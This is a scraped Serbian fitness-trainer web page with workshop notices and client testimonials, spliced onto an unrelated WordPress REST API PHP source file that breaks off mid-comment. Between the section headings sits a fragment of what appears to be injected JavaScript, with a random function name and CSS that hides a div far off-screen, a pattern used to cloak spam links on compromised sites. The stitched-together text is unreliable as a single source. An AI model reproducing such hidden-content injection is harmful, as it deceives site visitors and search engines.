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Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
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Srce duše

Tesla

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Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
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Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
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Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
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<?php
/**
 * REST API functions.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.4.0
 */

/**
 * Version number for our API.
 *
 * @var string
 */
define( 'REST_API_VERSION', '2.0' );

/**
 * Registers a REST API route.
 *
 * @since 4.4.0
 *
 * @global WP_REST_Server $wp_rest_server ResponseHandler instance (usually WP_REST_Server).
 *
 * @param string $namespace The first URL segment after core prefix. Should be unique to your package/plugin.
 * @param string $route     The base URL for route you are adding.
 * @param array  $args      Optional. Either an array of options for the endpoint, or an array of arrays for
 *                          multiple methods. Default empty array.
 * @param bool   $override  Optional. If the route already exists, should we override it? True overrides,
 *                          false merges (with newer overriding if duplicate keys exist). Default false.
 * @return bool True on success, false on error.
 */
function register_rest_route( $namespace, $route, $args = array(), $override = false ) {
	/** @var WP_REST_Server $wp_rest_server */
	global $wp_rest_server;

	if ( empty( $namespace ) ) {
		/*
		 * Non-namespaced routes are not allowed, with the exception of the main
		 * and namespace indexes. If you really need to register a
		 * non-namespaced route, call `WP_REST_Server::register_route` directly.
		 */
		_doing_it_wrong( 'register_rest_route', __( 'Routes must be namespaced with plugin or theme name and version.' ), '4.4.0' );
		return false;
	} else if ( empty( $route ) ) {
		_doing_it_wrong( 'register_rest_route', __( 'Route must be specified.' ), '4.4.0' );
		return false;
	}

	if ( isset( $args['args'] ) ) {
		$common_args = $args['args'];
		unset( $args['args'] );
	} else {
		$common_args = array();
	}

	if ( isset( $args['callback'] ) ) {
		// Upgrade a single set to multiple.
		$args = array( $args );
	}

	$defaults = array(
		'methods'         => 'GET',
		'callback'        => null,
		'args'            => array(),
	);
	foreach ( $args as $key => &$arg_group ) {
		if ( ! is_numeric( $key ) ) {
			// Route option, skip here.
			continue;
		}

		$arg_group = array_merge( $defaults, $arg_group );
		$arg_group['args'] = array_merge( $common_args, $arg_group['args'] );
	}

	$full_route = '/' . trim( $namespace, '/' ) . '/' . trim( $route, '/' );
	$wp_rest_server->register_route( $namespace, $full_route, $args, $override );
	return true;
}

/**
 * Registers a new field on an existing WordPress object type.
 *
 * @since 4.7.0
 *
 * @global array $wp_rest_additional_fields Holds registered fields, organized
 *                                          by object type.
 *
 * @param string|array $object_type Object(s) the field is being registered
 *                                  to, "post"|"term"|"comment" etc.
 * @param string $attribute         The attribute name.
 * @param array  $args {
 *     Optional. An array of arguments used to handle the registered field.
 *
 *     @type string|array|null $get_callback    Optional. The callback function used to retrieve the field
 *                                              value. Default is 'null', the field will not be returned in
 *                                              the response.
 *     @type string|array|null $update_callback Optional. The callback function used to set and update the
 *                                              field value. Default is 'null', the value cannot be set or
 *                                              updated.
 *     @type string|array|null $schema          Optional. The callback function used to create the schema for
 *                                              this field. Default is 'null', no schema entry will be returned.
 * }
 */
function register_rest_field( $object_type, $attribute, $args = array() ) {
	$defaults = array(
		'get_callback'    => null,
		'update_callback' => null,
		'schema'          => null,
	);

	$args = wp_parse_args( $args, $defaults );

	global $wp_rest_additional_fields;

	$object_types = (array) $object_type;

	foreach ( $object_types as $object_type ) {
		$wp_rest_additional_fields[ $object_type ][ $attribute ] = $args;
	}
}

/**
 * Registers rewrite rules for the API.
 *
 * @since 4.4.0
 *
 * @see rest_api_register_rewrites()
 * @global WP $wp Current WordPress environment instance.
 */
function rest_api_init() {
	rest_api_register_rewrites();

	global $wp;
	$wp->add_query_var( 'rest_route' );
}

/**
 * Adds REST rewrite rules.
 *
 * @since 4.4.0
 *
 * @see add_rewrite_rule()
 * @global WP_Rewrite $wp_rewrite
 */
function rest_api_register_rewrites() {
	global $wp_rewrite;

	add_rewrite_rule( '^' . rest_get_url_prefix() . '/?$','index.php?rest_route=/','top' );
	add_rewrite_rule( '^' . rest_get_url_prefix() . '/(.*)?','index.php?rest_route=/$matches[1]','top' );
	add_rewrite_rule( '^' . $wp_rewrite->index . '/' . rest_get_url_prefix() . '/?$','index.php?rest_route=/','top' );
	add_rewrite_rule( '^' . $wp_rewrite->index . '/' . rest_get_url_prefix() . '/(.*)?','index.php?rest_route=/$matches[1]','top' );
}

/**
 * Registers the default REST API filters.
 *
 * Attached to the {@see 'rest_api_init'} action
 * to make testing and disabling these filters easier.
 *
 * @since 4.4.0
 */
function rest_api_default_filters() {
	// Deprecated reporting.
	add_action( 'deprecated_function_run', 'rest_handle_deprecated_function', 10, 3 );
	add_filter( 'deprecated_function_trigger_error', '__return_false' );
	add_action( 'deprecated_argument_run', 'rest_handle_deprecated_argument', 10, 3 );
	add_filter( 'deprecated_argument_trigger_error', '__return_false' );

	// Default serving.
	add_filter( 'rest_pre_serve_request', 'rest_send_cors_headers' );
	add_filter( 'rest_post_dispatch', 'rest_send_allow_header', 10, 3 );

	add_filter( 'rest_pre_dispatch', 'rest_handle_options_request', 10, 3 );
}

/**
 * Registers default REST API routes.
 *
 * @since 4.7.0
 */
function create_initial_rest_routes() {
	foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
		$class = ! empty( $post_type->rest_controller_class ) ? $post_type->rest_controller_class : 'WP_REST_Posts_Controller';

		if ( ! class_exists( $class ) ) {
			continue;
		}
		$controller = new $class( $post_type->name );
		if ( ! is_subclass_of( $controller, 'WP_REST_Controller' ) ) {
			continue;
		}

		$controller->register_routes();

		if ( post_type_supports( $post_type->name, 'revisions' ) ) {
			$revisions_controller = new WP_REST_Revisions_Controller( $post_type->name );
			$revisions_controller->register_routes();
		}
	}

	// Post types.
	$controller = new WP_REST_Post_Types_Controller;
	$controller->register_routes();

	// Post statuses.
	$controller = new WP_REST_Post_Statuses_Controller;
	$controller->register_routes();

	// Taxonomies.
	$controller = new WP_REST_Taxonomies_Controller;
	$controller->register_routes();

	// Terms.
	foreach ( get_taxonomies( array( 'show_in_rest' => true ), 'object' ) as $taxonomy ) {
		$class = ! empty( $taxonomy->rest_controller_class ) ? $taxonomy->rest_controller_class : 'WP_REST_Terms_Controller';

		if ( ! class_exists( $class ) ) {
			continue;
		}
		$controller = new $class( $taxonomy->name );
		if ( ! is_subclass_of( $controller, 'WP_REST_Controller' ) ) {
			continue;
		}

		$controller->register_routes();
	}

	// Users.
	$controller = new WP_REST_Users_Controller;
	$controller->register_routes();

	// Comments.
	$controller = new WP_REST_Comments_Controller;
	$controller->register_routes();

	// Settings.
	$controller = new WP_REST_Settings_Controller;
	$controller->register_routes();
}

/**
 * Loads the REST API.
 *
 * @since 4.4.0
 *
 * @global WP             $wp             Current WordPress environment instance.
 * @global WP_REST_Server $wp_rest_server ResponseHandler instance (usually WP_REST_Server).
 */
function rest_api_loaded() {
	if ( empty( $GLOBALS['wp']->query_vars['rest_route'] ) ) {
		return;
	}

	/**
	 * Whether this is a REST Request.
	 *
	 * @since 4.4.0
	 * @var bool
	 */
	define( 'REST_REQUEST', true );

	// Initialize the server.
	$server = rest_get_server();

	// Fire off the request.
	$route = untrailingslashit( $GLOBALS['wp']->query_vars['rest_route'] );
	if ( empty( $route ) ) {
		$route = '/';
	}
	$server->serve_request( $route );

	// We're done.
	die();
}

/**
 * Retrieves the URL prefix for any API resource.
 *
 * @since 4.4.0
 *
 * @return string Prefix.
 */
function rest_get_url_prefix() {
	/**
	 * Filters the REST URL prefix.
	 *
	 * @since 4.4.0
	 *
	 * @param string $prefix URL prefix. Default 'wp-json'.
	 */
	return apply_filters( 'rest_url_prefix', 'wp-json' );
}

/**
 * Retrieves the URL to a REST endpoint on a site.
 *
 * Note: The returned URL is NOT escaped.
 *
 * @since 4.4.0
 *
 * @todo Check if this is even necessary
 * @global WP_Rewrite $wp_rewrite
 *
 * @param int    $blog_id Optional. Blog ID. Default of null returns URL for current blog.
 * @param string $path    Optional. REST route. Default '/'.
 * @param string $scheme  Optional. Sanitization scheme. Default 'rest'.
 * @return string Full URL to the endpoint.
 */
function get_rest_url( $blog_id = null, $path = '/', $scheme = 'rest' ) {
	if ( empty( $path ) ) {
		$path = '/';
	}

	if ( is_multisite() && get_blog_option( $blog_id, 'permalink_structure' ) || get_option( 'permalink_structure' ) ) {
		global $wp_rewrite;

		if ( $wp_rewrite->using_index_permalinks() ) {
			$url = get_home_url( $blog_id, $wp_rewrite->index . '/' . rest_get_url_prefix(), $scheme );
		} else {
			$url = get_home_url( $blog_id, rest_get_url_prefix(), $scheme );
		}

		$url .= '/' . ltrim( $path, '/' );
	} else {
		$url = trailingslashit( get_home_url( $blog_id, '', $scheme ) );

		$path = '/' . ltrim( $path, '/' );

		$url = add_query_arg( 'rest_route', $path, $url );
	}

	if ( is_ssl() ) {
		// If the current host is the same as the REST URL host, force the REST URL scheme to HTTPS.
		if ( $_SERVER['SERVER_NAME'] === parse_url( get_home_url( $blog_id ), PHP_URL_HOST ) ) {
			$url = set_url_scheme( $url, 'https' );
		}
	}

	/**
	 * Filters the REST URL.
	 *
	 * Use this filter to adjust the url returned by the get_rest_url() function.
	 *
	 * @since 4.4.0
	 *
	 * @param string $url     REST URL.
	 * @param string $path    REST route.
	 * @param int    $blog_id Blog ID.
	 * @param string $scheme  Sanitization scheme.
	 */
	return apply_filters( 'rest_url', $url, $path, $blog_id, $scheme );
}

/**
 * Retrieves the URL to a REST endpoint.
 *
 * Note: The returned URL is NOT escaped.
 *
 * @since 4.4.0
 *
 * @param string $path   Optional. REST route. Default empty.
 * @param string $scheme Optional. Sanitization scheme. Default 'json'.
 * @return string Full URL to the endpoint.
 */
function rest_url( $path = '', $scheme = 'json' ) {
	return get_rest_url( null, $path, $scheme );
}

/**
 * Do a REST request.
 *
 * Used primarily to route internal requests through WP_REST_Server.
 *
 * @since 4.4.0
 *
 * @global WP_REST_Server $wp_rest_server ResponseHandler instance (usually WP_REST_Server).
 *
 * @param WP_REST_Request|string $request Request.
 * @return WP_REST_Response REST response.
 */
function rest_do_request( $request ) {
	$request = rest_ensure_request( $request );
	return rest_get_server()->dispatch( $request );
}

/**
 * Retrieves the current REST server instance.
 *
 * Instantiates a new instance if none exists already.
 *
 * @since 4.5.0
 *
 * @global WP_REST_Server $wp_rest_server REST server instance.
 *
 * @return WP_REST_Server REST server instance.
 */
function rest_get_server() {
	/* @var WP_REST_Server $wp_rest_server */
	global $wp_rest_server;

	if ( empty( $wp_rest_server ) ) {
		/**
		 * Filters the REST Server Class.
		 *
		 * This filter allows you to adjust the server class used by the API, using a
		 * different class to handle requests.
		 *
		 * @since 4.4.0
		 *
		 * @param string $class_name The name of the server class. Default 'WP_REST_Server'.
		 */
		$wp_rest_server_class = apply_filters( 'wp_rest_server_class', 'WP_REST_Server' );
		$wp_rest_server = new $wp_rest_server_class;

		/**
		 * Fires when preparing to serve an API request.
		 *
		 * Endpoint objects should be created and register their hooks on this action rather
		 * than another action to ensure they're only loaded when needed.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_REST_Server $wp_rest_server Server object.
		 */
		do_action( 'rest_api_init', $wp_rest_server );
	}

	return $wp_rest_server;
}

/**
 * Ensures request arguments are a request object (for consistency).
 *
 * @since 4.4.0
 *
 * @param array|WP_REST_Request $request Request to check.
 * @return WP_REST_Request REST request instance.
 */
function rest_ensure_request( $request ) {
	if ( $request instanceof WP_REST_Request ) {
		return $request;
	}

	return new WP_REST_Request( 'GET', '', $request );
}

/**
 * Ensures a REST response is a response object (for consistency).
 *
 * This implements WP_HTTP_Response, allowing usage of `set_status`/`header`/etc
 * without needing to double-check the object. Will also allow WP_Error to indicate error
 * responses, so users should immediately check for this value.
 *
 * @since 4.4.0
 *
 * @param WP_Error|WP_HTTP_Response|mixed $response Response to check.
 * @return WP_REST_Response|mixed If response generated an error, WP_Error, if response
 *                                is already an instance, WP_HTTP_Response, otherwise
 *                                returns a new WP_REST_Response instance.
 */
function rest_ensure_response( $response ) {
	if ( is_wp_error( $response ) ) {
		return $response;
	}

	if ( $response instanceof WP_HTTP_Response ) {
		return $response;
	}

	return new WP_REST_Response( $response );
}

/**
 * Handles _deprecated_function() errors.
 *
 * @since 4.4.0
 *
 * @param string $function    The function that was called.
 * @param string $replacement The function that should have been called.
 * @param string $version     Version.
 */
function rest_handle_deprecated_function( $function, $replacement, $version ) {
	if ( ! empty( $replacement ) ) {
		/* translators: 1: function name, 2: WordPress version number, 3: new function name */
		$string = sprintf( __( '%1$s (since %2$s; use %3$s instead)' ), $function, $version, $replacement );
	} else {
		/* translators: 1: function name, 2: WordPress version number */
		$string = sprintf( __( '%1$s (since %2$s; no alternative available)' ), $function, $version );
	}

	header( sprintf( 'X-WP-DeprecatedFunction: %s', $string ) );
}

/**
 * Handles _deprecated_argument() errors.
 *
 * @since 4.4.0
 *
 * @param string $function    The function that was called.
 * @param string $message     A message regarding the change.
 * @param string $version     Version.
 */
function rest_handle_deprecated_argument( $function, $message, $version ) {
	if ( ! empty( $message ) ) {
		/* translators: 1: function name, 2: WordPress version number, 3: error message */
		$string = sprintf( __( '%1$s (since %2$s; %3$s)' ), $function, $version, $message );
	} else {
		/* translators: 1: function name, 2: WordPress version number */
		$string = sprintf( __( '%1$s (since %2$s; no alternative available)' ), $function, $version );
	}

	header( sprintf( 'X-WP-DeprecatedParam: %s', $string ) );
}

/**
 * Sends Cross-Origin Resource Sharing headers with API requests.
 *
 * @since 4.4.0
 *
 * @param mixed $value Response data.
 * @return mixed Response data.
 */
function rest_send_cors_headers( $value ) {
	$origin = get_http_origin();

	if ( $origin ) {
		header( 'Access-Control-Allow-Origin: ' . esc_url_raw( $origin ) );
		header( 'Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE' );
		header( 'Access-Control-Allow-Credentials: true' );
		header( 'Vary: Origin', false );
	} elseif ( ! headers_sent() && 'GET' === $_SERVER['REQUEST_METHOD'] && ! is_user_logged_in() ) {
		header( 'Vary: Origin', false );
	}

	return $value;
}

/**
 * Handles OPTIONS requests for the server.
 *
 * This is handled outside of the server code, as it doesn't obey normal route
 * mapping.
 *
 * @since 4.4.0
 *
 * @param mixed           $response Current response, either response or `null` to indicate pass-through.
 * @param WP_REST_Server  $handler  ResponseHandler instance (usually WP_REST_Server).
 * @param WP_REST_Request $request  The request that was used to make current response.
 * @return WP_REST_Response Modified response, either response or `null` to indicate pass-through.
 */
function rest_handle_options_request( $response, $handler, $request ) {
	if ( ! empty( $response ) || $request->get_method() !== 'OPTIONS' ) {
		return $response;
	}

	$response = new WP_REST_Response();
	$data = array();

	foreach ( $handler->get_routes() as $route => $endpoints ) {
		$match = preg_match( '@^' . $route . '$@i', $request->get_route() );

		if ( ! $match ) {
			continue;
		}

		$data = $handler->get_data_for_route( $route, $endpoints, 'help' );
		$response->set_matched_route( $route );
		break;
	}

	$response->set_data( $data );
	return $response;
}

/**
 * Sends the "Allow" header to state all methods that can be sent to the current route.
 *
 * @since 4.4.0
 *
 * @param WP_REST_Response $response Current response being served.
 * @param WP_REST_Server   $server   ResponseHandler instance (usually WP_REST_Server).
 * @param WP_REST_Request  $request  The request that was used to make current response.
 * @return WP_REST_Response Response to be served, with "Allow" header if route has allowed methods.
 */
function rest_send_allow_header( $response, $server, $request ) {
	$matched_route = $response->get_matched_route();

	if ( ! $matched_route ) {
		return $response;
	}

	$routes = $server->get_routes();

	$allowed_methods = array();

	// Get the allowed methods across the routes.
	foreach ( $routes[ $matched_route ] as $_handler ) {
		foreach ( $_handler['methods'] as $handler_method => $value ) {

			if ( ! empty( $_handler['permission_callback'] ) ) {

				$permission = call_user_func( $_handler['permission_callback'], $request );

				$allowed_methods[ $handler_method ] = true === $permission;
			} else {
				$allowed_methods[ $handler_method ] = true;
			}
		}
	}

	// Strip out all the methods that are not allowed (false values).
	$allowed_methods = array_filter( $allowed_methods );

	if ( $allowed_methods ) {
		$response->header( 'Allow', implode( ', ', array_map( 'strtoupper', array_keys( $allowed_methods ) ) ) );
	}

	return $response;
}

/**
 * Adds the REST API URL to the WP RSD endpoint.
 *
 * @since 4.4.0
 *
 * @see get_rest_url()
 */
function rest_output_rsd() {
	$api_root = get_rest_url();

	if ( empty( $api_root ) ) {
		return;
	}
	?>
	<api name="WP-API" blogID="1" preferred="false" apiLink="<?php echo esc_url( $api_root ); ?>" />
	<?php
}

/**
 * Outputs the REST API link tag into page header.
 *
 * @since 4.4.0
 *
 * @see get_rest_url()
 */
function rest_output_link_wp_head() {
	$api_root = get_rest_url();

	if ( empty( $api_root ) ) {
		return;
	}

	echo "<link rel='https://api.w.org/' href='" . esc_url( $api_root ) . "' />\n";
}

/**
 * Sends a Link header for the REST API.
 *
 * @since 4.4.0
 */
function rest_output_link_header() {
	if ( headers_sent() ) {
		return;
	}

	$api_root = get_rest_url();

	if ( empty( $api_root ) ) {
		return;
	}

	header( 'Link: <' . esc_url_raw( $api_root ) . '>; rel="https://api.w.org/"', false );
}

/**
 * Checks for errors when using cookie-based authentication.
 *
 * WordPress' built-in cookie authentication is always active
 * for logged in users. However, the API has to check nonces
 * for each request to ensure users are not vulnerable to CSRF.
 *
 * @since 4.4.0
 *
 * @global mixed          $wp_rest_auth_cookie
 * @global WP_REST_Server $wp_rest_server      REST server instance.
 *
 * @param WP_Error|mixed $result Error from another authentication handler,
 *                               null if we should handle it, or another value
 *                               if not.
 * @return WP_Error|mixed|bool WP_Error if the cookie is invalid, the $result, otherwise true.
 */
function rest_cookie_check_errors( $result ) {
	if ( ! empty( $result ) ) {
		return $result;
	}

	global $wp_rest_auth_cookie, $wp_rest_server;

	/*
	 * Is cookie authentication being used? (If we get an auth
	 * error, but we're still logged in, another authentication
	 * must have been used).
	 */
	if ( true !== $wp_rest_auth_cookie && is_user_logged_in() ) {
		return $result;
	}

	// Determine if there is a nonce.
	$nonce = null;

	if ( isset( $_REQUEST['_wpnonce'] ) ) {
		$nonce = $_REQUEST['_wpnonce'];
	} elseif ( isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) {
		$nonce = $_SERVER['HTTP_X_WP_NONCE'];
	}

	if ( null === $nonce ) {
		// No nonce at all, so act as if it's an unauthenticated request.
		wp_set_current_user( 0 );
		return true;
	}

	// Check the nonce.
	$result = wp_verify_nonce( $nonce, 'wp_rest' );

	if ( ! $result ) {
		return new WP_Error( 'rest_cookie_invalid_nonce', __( 'Cookie nonce is invalid' ), array( 'status' => 403 ) );
	}

	// Send a refreshed nonce in header.
	$wp_rest_server->send_header( 'X-WP-Nonce', wp_create_nonce( 'wp_rest' ) );

	return true;
}

/**
 * Collects cookie authentication status.
 *
 * Collects errors from wp_validate_auth_cookie for use by rest_cookie_check_errors.
 *
 * @since 4.4.0
 *
 * @see current_action()
 * @global mixed $wp_rest_auth_cookie
 */
function rest_cookie_collect_status() {
	global $wp_rest_auth_cookie;

	$status_type = current_action();

	if ( 'auth_cookie_valid' !== $status_type ) {
		$wp_rest_auth_cookie = substr( $status_type, 12 );
		return;
	}

	$wp_rest_auth_cookie = true;
}

/**
 * Parses an RFC3339 time into a Unix timestamp.
 *
 * @since 4.4.0
 *
 * @param string $date      RFC3339 timestamp.
 * @param bool   $force_utc Optional. Whether to force UTC timezone instead of using
 *                          the timestamp's timezone. Default false.
 * @return int Unix timestamp.
 */
function rest_parse_date( $date, $force_utc = false ) {
	if ( $force_utc ) {
		$date = preg_replace( '/[+-]\d+:?\d+$/', '+00:00', $date );
	}

	$regex = '#^\d{4}-\d{2}-\d{2}[Tt ]\d{2}:\d{2}:\d{2}(?:\.\d+)?(?:Z|[+-]\d{2}(?::\d{2})?)?$#';

	if ( ! preg_match( $regex, $date, $matches ) ) {
		return false;
	}

	return strtotime( $date );
}

/**
 * Parses a date into both its local and UTC equivalent, in MySQL datetime format.
 *
 * @since 4.4.0
 *
 * @see rest_parse_date()
 *
 * @param string $date   RFC3339 timestamp.
 * @param bool   $is_utc Whether the provided date should be interpreted as UTC. Default false.
 * @return array|null Local and UTC datetime strings, in MySQL datetime format (Y-m-d H:i:s),
 *                    null on failure.
 */
function rest_get_date_with_gmt( $date, $is_utc = false ) {
	// Whether or not the original date actually has a timezone string
	// changes the way we need to do timezone conversion.  Store this info
	// before parsing the date, and use it later.
	$has_timezone = preg_match( '#(Z|[+-]\d{2}(:\d{2})?)$#', $date );

	$date = rest_parse_date( $date );

	if ( empty( $date ) ) {
		return null;
	}

	// At this point $date could either be a local date (if we were passed a
	// *local* date without a timezone offset) or a UTC date (otherwise).
	// Timezone conversion needs to be handled differently between these two
	// cases.
	if ( ! $is_utc && ! $has_timezone ) {
		$local = date( 'Y-m-d H:i:s', $date );
		$utc = get_gmt_from_date( $local );
	} else {
		$utc = date( 'Y-m-d H:i:s', $date );
		$local = get_date_from_gmt( $utc );
	}

	return array( $local, $utc );
}

/**
 * Returns a contextual HTTP error code for authorization failure.
 *
 * @since 4.7.0
 *
 * @return integer 401 if the user is not logged in, 403 if the user is logged in.
 */
function rest_authorization_required_code() {
	return is_user_logged_in() ? 403 : 401;
}

/**
 * Validate a request argument based on details registered to the route.
 *
 * @since 4.7.0
 *
 * @param  mixed            $value
 * @param  WP_REST_Request  $request
 * @param  string           $param
 * @return WP_Error|boolean
 */
function rest_validate_request_arg( $value, $request, $param ) {
	$attributes = $request->get_attributes();
	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
		return true;
	}
	$args = $attributes['args'][ $param ];

	return rest_validate_value_from_schema( $value, $args, $param );
}

/**
 * Sanitize a request argument based on details registered to the route.
 *
 * @since 4.7.0
 *
 * @param  mixed            $value
 * @param  WP_REST_Request  $request
 * @param  string           $param
 * @return mixed
 */
function rest_sanitize_request_arg( $value, $request, $param ) {
	$attributes = $request->get_attributes();
	if ( ! isset( $attributes['args'][ $param ] ) || ! is_array( $attributes['args'][ $param ] ) ) {
		return $value;
	}
	$args = $attributes['args'][ $param ];

	return rest_sanitize_value_from_schema( $value, $args );
}

/**
 * Parse a request argument based on details registered to the route.
 *
 * Runs a validation check and sanitizes the value, primarily to be used via
 * the `sanitize_callback` arguments in the endpoint args registration.
 *
 * @since 4.7.0
 *
 * @param  mixed            $value
 * @param  WP_REST_Request  $request
 * @param  string           $param
 * @return mixed
 */
function rest_parse_request_arg( $value, $request, $param ) {
	$is_valid = rest_validate_request_arg( $value, $request, $param );

	if ( is_wp_error( $is_valid ) ) {
		return $is_valid;
	}

	$value = rest_sanitize_request_arg( $value, $request, $param );

	return $value;
}

/**
 * Determines if an IP address is valid.
 *
 * Handles both IPv4 and IPv6 addresses.
 *
 * @since 4.7.0
 *
 * @param  string $ip IP address.
 * @return string|false The valid IP address, otherwise false.
 */
function rest_is_ip_address( $ip ) {
	$ipv4_pattern = '/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/';

	if ( ! preg_match( $ipv4_pattern, $ip ) && ! Requests_IPv6::check_ipv6( $ip ) ) {
		return false;
	}

	return $ip;
}

/**
 * Changes a boolean-like value into the proper boolean value.
 *
 * @since 4.7.0
 *
 * @param bool|string|int $value The value being evaluated.
